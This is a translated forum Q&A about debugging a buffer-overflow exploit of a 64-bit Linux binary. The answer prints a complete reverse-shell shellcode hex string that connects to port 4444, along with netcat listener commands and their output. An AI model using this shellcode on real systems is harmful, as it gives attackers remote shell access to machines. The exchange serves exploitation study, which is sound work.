利用64位linux二进制的问题 - 逆向工程实践

时间:2015-07-30 19:38:01

标签: linux reverse-engineering exploit shellcode

我正在开发一个简单的64位Linux二进制文件。我通过利用缓冲区溢出并使用jmp rsp控制progrm来控制RIP。

但是,我遇到了shellcode的问题。我不够精明自己写,所以我一直在使用我在网上找到的一些。 shellcode需要在端口4444上给我一个反向shell。

虽然只是为了测试,我尝试了一些基本的shellcode。

作品 - http://shell-storm.org/shellcode/files/shellcode-806.php

不起作用 - https://www.exploit-db.com/exploits/35587/

第一个链接中的shellcode有效。第二个中的那个没有。

我逐步完成了程序,每条指令都排好了。但是,在最后一次系统调用之后,程序继续执行堆栈而不是退出线程。

我真的可以使用它的帮助,我整天都被困在它上面。

1 个答案:

答案 0 :(得分:0)

我测试了这两个shellcode,它们都有效。

我认为你错过了第二个问题。据说:

  

注意:此C代码连接到127.0.0.1:4444

这意味着它正在尝试连接到localhost(127.0.0.1)上的端口4444。如果没有人在监听该端口,那么它将无法连接,只是尝试执行系统调用后的任何内容。

尝试再次执行它,但是这次你需要在执行你的shellcode之前等待端口4444 上的某个连接,比如 netcat

$ nc -lp 4444 -vv 
listening on [any] 4444 ...

然后,执行shellcode时

./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"

nectat 警告您(因为-vv意为详细)该端口上存在连接

 $ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234

这是您的shellcode启动的连接。

希望这有帮助!

注意 execshellcode64 只是我为测试目的而制作的个人计划。这实际上并不是一个真正的命令。

execshellcode源代码:https://github.com/Hackndo/misc/tree/master/execshellcode